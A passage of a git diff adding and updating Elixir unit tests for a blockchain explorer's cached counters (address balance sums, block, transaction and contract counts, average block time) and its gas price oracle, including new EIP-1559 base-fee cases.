zero" do + insert(:address, fetched_coin_balance: 1) + insert(:address, fetched_coin_balance: 2) + insert(:address, fetched_coin_balance: 3) + insert(:address, hash: "0x0000000000000000000000000000000000000000", fetched_coin_balance: 4) + + _result = AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt() + + Process.sleep(1000) + + updated_value = Decimal.to_integer(AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt()) + + assert updated_value == 6 + end + + test "does not update cache if cache period did not pass" do + insert(:address, fetched_coin_balance: 1) + insert(:address, fetched_coin_balance: 2) + insert(:address, fetched_coin_balance: 3) + insert(:address, hash: "0x0000000000000000000000000000000000000000", fetched_coin_balance: 4) + + _result = AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt() + + Process.sleep(1000) + + updated_value = Decimal.to_integer(AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt()) + + assert updated_value == 6 + + insert(:address, fetched_coin_balance: 4) + insert(:address, fetched_coin_balance: 5) + + _updated_value = AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt() + + Process.sleep(1000) + + updated_value = Decimal.to_integer(AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt()) + + assert updated_value == 6 + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/addresses_sum_test.exs b/apps/explorer/test/explorer/chain/cache/counters/addresses_sum_test.exs new file mode 100644 index 000000000000..163361c32bb8 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/addresses_sum_test.exs @@ -0,0 +1,57 @@ +defmodule Explorer.Chain.Cache.Counters.AddressSumTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.AddressesCoinBalanceSum + + setup do + Supervisor.terminate_child(Explorer.Supervisor, AddressesCoinBalanceSum.child_id()) + Supervisor.restart_child(Explorer.Supervisor, AddressesCoinBalanceSum.child_id()) + :ok + end + + test "returns default address sum" do + result = AddressesCoinBalanceSum.get_sum() + + assert result == Decimal.new(0) + end + + test "updates cache if initial value is zero" do + insert(:address, fetched_coin_balance: 1) + insert(:address, fetched_coin_balance: 2) + insert(:address, fetched_coin_balance: 3) + insert(:address, hash: "0x0000000000000000000000000000000000000000", fetched_coin_balance: 4) + + _result = AddressesCoinBalanceSum.get_sum() + + Process.sleep(1000) + + updated_value = Decimal.to_integer(AddressesCoinBalanceSum.get_sum()) + + assert updated_value == 10 + end + + test "does not update cache if cache period did not pass" do + insert(:address, fetched_coin_balance: 1) + insert(:address, fetched_coin_balance: 2) + insert(:address, fetched_coin_balance: 3) + + _result = AddressesCoinBalanceSum.get_sum() + + Process.sleep(1000) + + updated_value = Decimal.to_integer(AddressesCoinBalanceSum.get_sum()) + + assert updated_value == 6 + + insert(:address, fetched_coin_balance: 4) + insert(:address, fetched_coin_balance: 5) + + _updated_value = AddressesCoinBalanceSum.get_sum() + + Process.sleep(1000) + + updated_value = Decimal.to_integer(AddressesCoinBalanceSum.get_sum()) + + assert updated_value == 6 + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/addresses_tokens_usd_sum_counter_test.exs b/apps/explorer/test/explorer/chain/cache/counters/addresses_tokens_usd_sum_counter_test.exs new file mode 100644 index 000000000000..6a22aa54a071 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/addresses_tokens_usd_sum_counter_test.exs @@ -0,0 +1,34 @@ +defmodule Explorer.Chain.Cache.Counters.AddressTokensUsdSumTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.AddressTokensUsdSum + + test "populates the cache with the sum of address tokens" do + address = insert(:address) + + address_current_token_balance = + build(:token_balance, + token: build(:token, name: "token name", decimals: Decimal.new(18)) |> Map.put(:fiat_value, Decimal.new(10)), + value: Decimal.mult(Decimal.new(100_500), Decimal.from_float(:math.pow(10, 18))) + ) + + address_current_token_balance_2 = + build(:token_balance, + token: build(:token, name: "token name", decimals: Decimal.new(18)) |> Map.put(:fiat_value, Decimal.new(10)), + value: Decimal.mult(Decimal.new(100_500), Decimal.from_float(:math.pow(10, 18))) + ) + + AddressTokensUsdSum.fetch(address.hash, [ + address_current_token_balance, + address_current_token_balance_2 + ]) + + Process.sleep(200) + + assert AddressTokensUsdSum.fetch(address.hash, [ + address_current_token_balance, + address_current_token_balance_2 + ]) == + Decimal.new(2_010_000) + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/average_block_time_test.exs b/apps/explorer/test/explorer/chain/cache/counters/average_block_time_test.exs new file mode 100644 index 000000000000..ce7a9ee18956 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/average_block_time_test.exs @@ -0,0 +1,187 @@ +defmodule Explorer.Chain.Cache.Counters.AverageBlockTimeTest do + use Explorer.DataCase + + doctest Explorer.Chain.Cache.Counters.Helper.AverageBlockTimeDurationFormat + + alias Explorer.Chain.Block + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Repo + + setup do + start_supervised!(AverageBlockTime) + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + Application.put_env(:explorer, :include_uncles_in_average_block_time, true) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + end + + describe "average_block_time/1" do + test "when disabled, it returns an error" do + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + + assert AverageBlockTime.average_block_time() == {:error, :disabled} + end + + test "without blocks duration is 0" do + assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT0S") + end + + test "considers both uncles and consensus blocks" do + block_number = 99_999_999 + + first_timestamp = Timex.now() + + insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: -100 - 6)) + + insert(:block, + number: block_number, + consensus: false, + timestamp: Timex.shift(first_timestamp, seconds: -100 - 12) + ) + + insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: -100 - 9)) + + insert(:block, + number: block_number + 1, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -100 - 3) + ) + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + 1 + i, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 12) + ) + end) + + assert Repo.aggregate(Block, :count, :hash) == 104 + + AverageBlockTime.refresh() + + assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT3S") + end + + test "excludes uncles if include_uncles_in_average_block_time is set to false" do + block_number = 99_999_999 + Application.put_env(:explorer, :include_uncles_in_average_block_time, false) + + first_timestamp = Timex.now() + + insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) + insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: 4)) + insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 5)) + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + i + 1, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 5) + ) + end) + + AverageBlockTime.refresh() + + assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT2S") + end + + test "excludes uncles if include_uncles_in_average_block_time is set to true" do + block_number = 99_999_999 + + first_timestamp = Timex.now() + + insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) + insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: 4)) + insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 5)) + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + i + 1, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 5) + ) + end) + + AverageBlockTime.refresh() + + assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT1S") + end + + test "when there are no uncles sorts by block number" do + block_number = 99_999_999 + + first_timestamp = Timex.now() + + insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) + insert(:block, number: block_number + 2, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 9)) + insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 6)) + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + i + 2, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 9) + ) + end) + + assert Repo.aggregate(Block, :count, :hash) == 103 + + AverageBlockTime.refresh() + + assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT3S") + end + + test "timestamps are compared correctly" do + block_number = 99_999_999 + + first_timestamp = ~U[2023-08-23 19:04:59.000000Z] + pseudo_after_timestamp = ~U[2022-08-23 19:05:59.000000Z] + + insert(:block, number: block_number, consensus: true, timestamp: pseudo_after_timestamp) + insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) + insert(:block, number: block_number + 2, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 6)) + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + i + 2, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 9) + ) + end) + + AverageBlockTime.refresh() + + %{timestamps: timestamps} = :sys.get_state(AverageBlockTime) + + assert Enum.sort_by(timestamps, fn {_bn, ts} -> ts end, &>=/2) == timestamps + end + + test "average time are calculated correctly for blocks that are not in chronological order" do + block_number = 99_999_999 + + first_timestamp = Timex.now() + + insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) + insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 6)) + insert(:block, number: block_number + 2, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 9)) + insert(:block, number: block_number + 3, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: -69)) + insert(:block, number: block_number + 4, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: -66)) + insert(:block, number: block_number + 5, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: -63)) + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + i + 5, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 9) + ) + end) + + AverageBlockTime.refresh() + + assert Timex.Duration.to_milliseconds(AverageBlockTime.average_block_time()) == 3000 + end + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/blocks_test.exs b/apps/explorer/test/explorer/chain/cache/counters/blocks_test.exs new file mode 100644 index 000000000000..85b0dfe6fc30 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/blocks_test.exs @@ -0,0 +1,56 @@ +defmodule Explorer.Chain.Cache.Counters.BlocksTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.BlocksCount + + setup do + Supervisor.terminate_child(Explorer.Supervisor, BlocksCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, BlocksCount.child_id()) + :ok + end + + test "returns default block count" do + result = BlocksCount.get_count() + + assert is_nil(result) + end + + test "updates cache if initial value is zero" do + insert(:block, consensus: true) + insert(:block, consensus: true) + insert(:block, consensus: false) + + _result = BlocksCount.get_count() + + Process.sleep(1000) + + updated_value = BlocksCount.get_count() + + assert updated_value == 2 + end + + test "does not update cache if cache period did not pass" do + insert(:block, consensus: true) + insert(:block, consensus: true) + insert(:block, consensus: false) + + _result = BlocksCount.get_count() + + Process.sleep(1000) + + updated_value = BlocksCount.get_count() + + assert updated_value == 2 + + insert(:block, consensus: true) + insert(:block, consensus: true) + + _updated_value = BlocksCount.get_count() + + Process.sleep(1000) + + updated_value = BlocksCount.get_count() + + assert updated_value == 2 + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/contracts_test.exs b/apps/explorer/test/explorer/chain/cache/counters/contracts_test.exs new file mode 100644 index 000000000000..1946e2b0c78f --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/contracts_test.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Chain.Cache.Counters.ContractsTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.ContractsCount + alias Explorer.Chain + + test "populates the cache with the number of all contracts" do + insert(:address, contract_code: "0x608060") + insert(:address, contract_code: "0x608060") + insert(:address, contract_code: "0x608060", inserted_at: Timex.shift(Timex.now(), days: -2)) + insert(:smart_contract) + + start_supervised!(ContractsCount) + ContractsCount.consolidate() + + assert Chain.count_contracts_from_cache() == Decimal.new(4) + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/new_contracts_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/new_contracts_count_test.exs new file mode 100644 index 000000000000..a740ae577e29 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/new_contracts_count_test.exs @@ -0,0 +1,29 @@ +defmodule Explorer.Chain.Cache.Counters.NewContractsCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.NewContractsCount + alias Explorer.Chain + + test "populates the cache with the number of new contracts (last 24h)" do + :transaction + |> insert(created_contract_code_indexed_at: Timex.shift(Timex.now(), hours: -1)) + |> with_block(status: :ok) + + :transaction + |> insert(created_contract_code_indexed_at: Timex.shift(Timex.now(), hours: -25)) + |> with_block(status: :ok) + + :transaction + |> insert(created_contract_code_indexed_at: Timex.shift(Timex.now(), hours: -23)) + |> with_block(status: :ok) + + :transaction + |> insert(created_contract_code_indexed_at: Timex.shift(Timex.now(), hours: -30)) + |> with_block(status: :ok) + + start_supervised!(NewContractsCount) + NewContractsCount.consolidate() + + assert Chain.count_new_contracts_from_cache() == Decimal.new(2) + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/new_pending_transactions_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/new_pending_transactions_count_test.exs new file mode 100644 index 000000000000..cf57ddc6aad7 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/new_pending_transactions_count_test.exs @@ -0,0 +1,27 @@ +defmodule Explorer.Chain.Cache.Counters.NewPendingTransactionsCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.NewPendingTransactionsCount + + test "populates the cache with the number of pending transactions addresses" do + insert(:transaction) + insert(:transaction) + insert(:transaction) + + start_supervised!(NewPendingTransactionsCount) + NewPendingTransactionsCount.consolidate() + + assert NewPendingTransactionsCount.fetch([]) == Decimal.new("3") + end + + test "count only fresh transactions" do + insert(:transaction, inserted_at: Timex.shift(Timex.now(), hours: -2)) + insert(:transaction) + insert(:transaction) + + start_supervised!(NewPendingTransactionsCount) + NewPendingTransactionsCount.consolidate() + + assert NewPendingTransactionsCount.fetch([]) == Decimal.new("2") + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/new_verified_contracts_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/new_verified_contracts_count_test.exs new file mode 100644 index 000000000000..11c54033939e --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/new_verified_contracts_count_test.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Chain.Cache.Counters.NewVerifiedContractsCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.NewVerifiedContractsCount + alias Explorer.Chain + + test "populates the cache with the number of new verified contracts (last 24h)" do + insert(:smart_contract, inserted_at: Timex.shift(Timex.now(), hours: -25)) + insert(:smart_contract, inserted_at: Timex.shift(Timex.now(), hours: -1)) + insert(:smart_contract, inserted_at: Timex.shift(Timex.now(), hours: -23)) + insert(:smart_contract, inserted_at: Timex.shift(Timex.now(), hours: -30)) + + start_supervised!(NewVerifiedContractsCount) + NewVerifiedContractsCount.consolidate() + + assert Chain.count_new_verified_contracts_from_cache() == Decimal.new(2) + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/optimism/last_output_root_size_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/optimism/last_output_root_size_count_test.exs new file mode 100644 index 000000000000..fe5716cf09d9 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/optimism/last_output_root_size_count_test.exs @@ -0,0 +1,47 @@ +defmodule Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCount + + if Application.compile_env(:explorer, :chain_type) == :optimism do + test "populates the cache with the number of transactions in last output root" do + first_block = insert(:block) + + insert(:op_output_root, l2_block_number: first_block.number) + + second_block = insert(:block, number: first_block.number + 10) + insert(:op_output_root, l2_block_number: second_block.number) + + insert(:transaction) |> with_block(first_block) + insert(:transaction) |> with_block(second_block) + insert(:transaction) |> with_block(second_block) + + start_supervised!(LastOutputRootSizeCount) + LastOutputRootSizeCount.consolidate() + + assert LastOutputRootSizeCount.fetch([]) == Decimal.new("2") + end + + test "does not count transactions that are not in output root yet" do + first_block = insert(:block) + + insert(:op_output_root, l2_block_number: first_block.number) + + second_block = insert(:block, number: first_block.number + 10) + insert(:op_output_root, l2_block_number: second_block.number) + + insert(:transaction) |> with_block(first_block) + insert(:transaction) |> with_block(second_block) + insert(:transaction) |> with_block(second_block) + + third_block = insert(:block, number: second_block.number + 1) + insert(:transaction) |> with_block(third_block) + insert(:transaction) |> with_block(third_block) + + start_supervised!(LastOutputRootSizeCount) + LastOutputRootSizeCount.consolidate() + + assert LastOutputRootSizeCount.fetch([]) == Decimal.new("2") + end + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/rootstock/rootstock_locked_btc_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/rootstock/rootstock_locked_btc_count_test.exs new file mode 100644 index 000000000000..08e69bc89334 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/rootstock/rootstock_locked_btc_count_test.exs @@ -0,0 +1,38 @@ +defmodule Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCount + alias Explorer.Chain.{Transaction, Wei} + + @bridge_address "0x0000000000000000000000000000000001000006" + + setup do + transaction_configuration = Application.get_env(:explorer, Transaction) + Application.put_env(:explorer, Transaction, rootstock_bridge_address: @bridge_address) + + :ok + + Supervisor.terminate_child(Explorer.Supervisor, LockedBTCCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, LockedBTCCount.child_id()) + + on_exit(fn -> + Application.put_env(:explorer, Transaction, transaction_configuration) + end) + + :ok + end + + test "returns nil in case if there is no bridged address in the database" do + result = LockedBTCCount.get_locked_value() + + assert is_nil(result) + end + + test "updates cache if initial value is zero and returns converted wei" do + insert(:address, hash: @bridge_address, fetched_coin_balance: 42_000_000_000_000_000_000) + + result = LockedBTCCount.get_locked_value() + + assert result == Wei.from(Decimal.new(21_000_000), :ether) |> Wei.sub(Wei.from(Decimal.new(42), :ether)) + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/transactions_24h_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/transactions_24h_count_test.exs new file mode 100644 index 000000000000..9adbaf9d5195 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/transactions_24h_count_test.exs @@ -0,0 +1,61 @@ +defmodule Explorer.Chain.Cache.Counters.Transactions24hCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.Transactions24hCount + + test "populates the cache with transaction counters" do + block = insert(:block, base_fee_per_gas: 50) + address = insert(:address) + + # fee = 10000 + + insert(:transaction, + from_address: address, + block: block, + block_number: block.number, + cumulative_gas_used: 0, + index: 0, + gas_price: 100, + gas_used: 100 + ) + + # fee = 15000 + + insert(:transaction, + from_address: address, + block: block, + block_number: block.number, + cumulative_gas_used: 100, + index: 1, + gas_price: 150, + gas_used: 100, + max_priority_fee_per_gas: 100, + max_fee_per_gas: 200 + ) + + # fee = 10000 + + insert(:transaction, + from_address: address, + block: block, + block_number: block.number, + cumulative_gas_used: 200, + index: 2, + gas_price: 100, + gas_used: 100, + max_priority_fee_per_gas: 70, + max_fee_per_gas: 100 + ) + + start_supervised!(Transactions24hCount) + Transactions24hCount.consolidate() + + transactions_count = Transactions24hCount.fetch_count([]) + transaction_fee_sum = Transactions24hCount.fetch_fee_sum([]) + transaction_fee_average = Transactions24hCount.fetch_fee_average([]) + + assert transactions_count == Decimal.new("3") + assert transaction_fee_sum == Decimal.new("35000") + assert transaction_fee_average == Decimal.new("11667") + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/transactions_test.exs b/apps/explorer/test/explorer/chain/cache/counters/transactions_test.exs new file mode 100644 index 000000000000..d3ed4244e9f3 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/transactions_test.exs @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.Cache.Counters.TransactionsTest do + use Explorer.DataCase + alias Explorer.Chain.Cache.Counters.TransactionsCount + + setup do + Supervisor.terminate_child(Explorer.Supervisor, TransactionsCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, TransactionsCount.child_id()) + on_exit(fn -> Supervisor.terminate_child(Explorer.Supervisor, TransactionsCount.child_id()) end) + :ok + end + + test "returns default transaction count" do + result = TransactionsCount.get_count() + + assert is_nil(result) + end + + test "updates cache if initial value is zero" do + insert(:transaction) + insert(:transaction) + + _result = TransactionsCount.get_count() + + Process.sleep(1000) + + updated_value = TransactionsCount.get_count() + + assert updated_value == 2 + end + + test "does not update cache if cache period did not pass" do + insert(:transaction) + insert(:transaction) + + _result = TransactionsCount.get_count() + + Process.sleep(1000) + + updated_value = TransactionsCount.get_count() + + assert updated_value == 2 + + insert(:transaction) + insert(:transaction) + + _updated_value = TransactionsCount.get_count() + + Process.sleep(1000) + + updated_value = TransactionsCount.get_count() + + assert updated_value == 2 + end + + test "returns 0 on empty table" do + assert 0 == TransactionsCount.get() + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/verified_contracts_test.exs b/apps/explorer/test/explorer/chain/cache/counters/verified_contracts_test.exs new file mode 100644 index 000000000000..d5aa381ec08c --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/verified_contracts_test.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Chain.Cache.Counters.VerifiedContractsCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.VerifiedContractsCount + alias Explorer.Chain + + test "populates the cache with the number of verified contracts" do + insert(:smart_contract) + insert(:smart_contract) + insert(:smart_contract, inserted_at: Timex.shift(Timex.now(), days: -2)) + + start_supervised!(VerifiedContractsCount) + VerifiedContractsCount.consolidate() + + assert Chain.count_verified_contracts_from_cache() == Decimal.new(3) + end +end diff --git a/apps/explorer/test/explorer/chain/cache/gas_price_oracle_test.exs b/apps/explorer/test/explorer/chain/cache/gas_price_oracle_test.exs index 148b8e8872e3..ed5b745e8ad2 100644 --- a/apps/explorer/test/explorer/chain/cache/gas_price_oracle_test.exs +++ b/apps/explorer/test/explorer/chain/cache/gas_price_oracle_test.exs @@ -1,17 +1,18 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do - use Explorer.DataCase + use Explorer.DataCase, async: false alias Explorer.Chain.Cache.GasPriceOracle - alias Explorer.Repo + alias Explorer.Chain.Wei + alias Explorer.Chain.Cache.Counters.AverageBlockTime describe "get_average_gas_price/4" do test "returns nil percentile values if no blocks in the DB" do - assert {:ok, - %{ - "slow" => nil, - "average" => nil, - "fast" => nil - }} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + assert {{:ok, + %{ + slow: nil, + average: nil, + fast: nil + }}, []} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) end test "returns nil percentile values if blocks are empty in the DB" do @@ -19,15 +20,15 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do insert(:block) insert(:block) - assert {:ok, - %{ - "slow" => nil, - "average" => nil, - "fast" => nil - }} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + assert {{:ok, + %{ + slow: nil, + average: nil, + fast: nil + }}, []} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) end - test "returns nil percentile values for blocks with failed txs in the DB" do + test "returns gas prices for blocks with failed transactions in the DB" do block = insert(:block, number: 100, hash: "0x3e51328bccedee581e8ba35190216a61a5d67fd91ca528f3553142c0c7d18391") :transaction @@ -43,12 +44,14 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269" ) - assert {:ok, - %{ - "slow" => nil, - "average" => nil, - "fast" => nil - }} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + assert {{ + :ok, + %{ + average: %{price: 0.01}, + fast: %{price: 0.01}, + slow: %{price: 0.01} + } + }, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) end test "returns nil percentile values for transactions with 0 gas price aka 'whitelisted transactions' in the DB" do @@ -79,12 +82,121 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03" ) - assert {:ok, - %{ - "slow" => nil, - "average" => nil, - "fast" => nil - }} = GasPriceOracle.get_average_gas_price(2, 35, 60, 90) + assert {{:ok, + %{ + slow: nil, + average: nil, + fast: nil + }}, []} = GasPriceOracle.get_average_gas_price(2, 35, 60, 90) + end + + test "returns base fee only gas estimation if there is no recent transactions with non-zero gas price" do + block1 = + insert(:block, + number: 100, + hash: "0x3e51328bccedee581e8ba35190216a61a5d67fd91ca528f3553142c0c7d18391", + base_fee_per_gas: 100 + ) + + block2 = + insert(:block, + number: 101, + hash: "0x76c3da57334fffdc66c0d954dce1a910fcff13ec889a13b2d8b0b6e9440ce729", + base_fee_per_gas: 100 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block1.hash, + block_number: block1.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 0, + hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269" + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 0, + hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03" + ) + + assert {{:ok, + %{ + average: %{base_fee: 0.01, priority_fee: +0.0, price: 0.01}, + fast: %{base_fee: 0.01, priority_fee: +0.0, price: 0.01}, + slow: %{base_fee: 0.01, priority_fee: +0.0, price: 0.01} + }}, []} = GasPriceOracle.get_average_gas_price(2, 35, 60, 90) + end + + test "returns base fee only gas estimation with average block time if there is no recent transactions with non-zero gas price" do + average_block_time_old_env = Application.get_env(:explorer, AverageBlockTime) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + start_supervised!(AverageBlockTime) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, average_block_time_old_env) + end) + + timestamp = ~U[2023-12-12 12:12:30.000000Z] + + block1 = + insert(:block, + number: 100, + hash: "0x3e51328bccedee581e8ba35190216a61a5d67fd91ca528f3553142c0c7d18391", + base_fee_per_gas: 100, + timestamp: timestamp + ) + + block2 = + insert(:block, + number: 101, + hash: "0x76c3da57334fffdc66c0d954dce1a910fcff13ec889a13b2d8b0b6e9440ce729", + base_fee_per_gas: 100, + timestamp: timestamp + ) + + :transaction + |> insert( + status: :ok, + block_hash: block1.hash, + block_number: block1.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 0, + hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269" + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 0, + hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03" + ) + + AverageBlockTime.refresh() + + assert {{:ok, + %{ + average: %{base_fee: 0.01, priority_fee: +0.0, price: 0.01, time: +0.0}, + fast: %{base_fee: 0.01, priority_fee: +0.0, price: 0.01, time: +0.0}, + slow: %{base_fee: 0.01, priority_fee: +0.0, price: 0.01, time: +0.0} + }}, []} = GasPriceOracle.get_average_gas_price(2, 35, 60, 90) end test "returns the same percentile values if gas price is the same over transactions" do @@ -115,12 +227,12 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03" ) - assert {:ok, - %{ - "slow" => 1.0, - "average" => 1.0, - "fast" => 1.0 - }} = GasPriceOracle.get_average_gas_price(2, 35, 60, 90) + assert {{:ok, + %{ + slow: %{price: 1.0}, + average: %{price: 1.0}, + fast: %{price: 1.0} + }}, _} = GasPriceOracle.get_average_gas_price(2, 35, 60, 90) end test "returns correct min gas price from the block" do @@ -163,12 +275,12 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do hash: "0x906b80861b4a0921acfbb91a7b527227b0d32adabc88bc73e8c52ff714e55016" ) - assert {:ok, - %{ - "slow" => 1.0, - "average" => 1.0, - "fast" => 1.0 - }} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + assert {{:ok, + %{ + slow: %{price: 1.0}, + average: %{price: 2.0}, + fast: %{price: 2.0} + }}, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) end test "returns correct average percentile" do @@ -212,10 +324,384 @@ defmodule Explorer.Chain.Cache.GasPriceOracleTest do hash: "0x7d4bc5569053fc29f471901e967c9e60205ac7a122b0e9a789683652c34cc11a" ) - assert {:ok, - %{ - "average" => 4.0 - }} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + assert {{:ok, + %{ + average: %{price: 3.34} + }}, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + end + + test "returns correct gas price for EIP-1559 transactions" do + block1 = insert(:block, number: 100, hash: 